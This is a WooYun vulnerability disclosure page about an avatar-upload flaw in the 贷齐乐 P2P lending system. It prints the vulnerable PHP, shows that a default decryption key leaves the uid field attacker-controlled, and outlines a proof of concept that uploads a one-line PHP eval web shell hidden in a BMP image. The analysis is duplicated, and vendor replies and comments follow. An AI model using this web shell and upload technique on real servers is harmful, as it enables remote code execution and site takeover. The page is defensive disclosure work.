当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(28) 关注此漏洞

缺陷编号: WooYun-2015-144444

漏洞标题: 贷齐乐p2p系统存在任意命令执行漏洞

相关厂商: chinaanhe.com

漏洞作者: Xser

提交时间: 2015-10-01 21:48

公开时间: 2016-01-11 15:32

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-01: 细节已通知厂商并且等待厂商处理中
2015-10-02: 厂商已经确认,细节仅向厂商公开
2015-10-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-11-26: 细节向核心白帽子及相关领域专家公开
2015-12-06: 细节向普通白帽子公开
2015-12-16: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

RT

详细说明:

出现在用户上传头像那里

跟踪文件plugins/avatar/avatar.class.php中

code 区域
function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));

$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}

list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}





code 区域
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;

$uid.$filetype这个两个参数拼合了



如果可控就可以getshell,我们跟踪看看是否可控



uid

code 区域
$uid = $this->input('uid');



filetype

code 区域
$filetype = $imgtype[$type];





跟踪input

code 区域
function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}

function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];

if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}





看到init_input函数是获取input的值

code 区域
$input = $this->authcode($input, 'DECODE', 'deck');

这里用了默认的deck密匙解密



POC构造:







$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。







调用默认加密过程将特殊的$uid转换为base64,然后直接向







http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual







提交上传请求

然后访问

360截图20151001213615344.jpg

漏洞证明:

出现在用户上传头像那里

跟踪文件plugins/avatar/avatar.class.php中

code 区域
function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));

$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}

list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}





code 区域
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;

$uid.$filetype这个两个参数拼合了



如果可控就可以getshell,我们跟踪看看是否可控



uid

code 区域
$uid = $this->input('uid');



filetype

code 区域
$filetype = $imgtype[$type];





跟踪input

code 区域
function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}

function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];

if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}





看到init_input函数是获取input的值

code 区域
$input = $this->authcode($input, 'DECODE', 'deck');

这里用了默认的deck密匙解密



POC构造:







$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。







调用默认加密过程将特殊的$uid转换为base64,然后直接向







http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual







提交上传请求

然后访问

360截图20151001213615344.jpg

修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-02 10:52

厂商回复:

测试这个版本应该是贷齐乐盗版或者是贷齐乐12年版本,请测试官方正式版,否则请不要以贷齐乐版本命名

最新状态:

2015-10-02: onuploadavatar() 这个函数已经不是这么写的了,具体请测试宁波贷


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-10-01 21:50 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    牛的一比

  2. 2015-10-01 21:54 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    可怕.

  3. 2015-10-01 22:00 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    5K get√

  4. 2015-10-01 22:04 | Xser ( 普通白帽子 | Rank:379 漏洞数:86 | JDSec)
    0

    我一直想要融都的源码其实p2p系统是三巨头,融都是阿里投资的,一直没人挖@牛肉包子@玉林嘎

  5. 2015-10-02 00:00 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)
    0

    牛的一比

  6. 2015-10-02 07:28 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间: http://www.heysec.or...)
    0

    屌屌屌

  7. 2015-10-02 11:02 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间: http://www.heysec.or...)
    0

    嗯,知道是哪个漏洞了,帝友也出现过

  8. 2015-10-02 11:49 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    嗯 看过这个, 应该挺久以前的版本,uid就有是不是数字的检测, 还有各种其他蛋疼的检测。。

  9. 2015-10-02 13:04 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    我也知道了 新版的早就检测了

  10. 2015-10-06 10:19 | secgov ( 路人 | Rank:10 漏洞数:3 | 安全审计,漏洞挖掘,WAF. 提醒大家揭露漏洞...)
    0

    实在对贷气乐无语了

  11. 2016-01-12 12:31 | 这只猪 ( 路人 | Rank:24 漏洞数:6 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)
    0

    牛逼的不要不要的!

登录后才能发表评论,请先 登录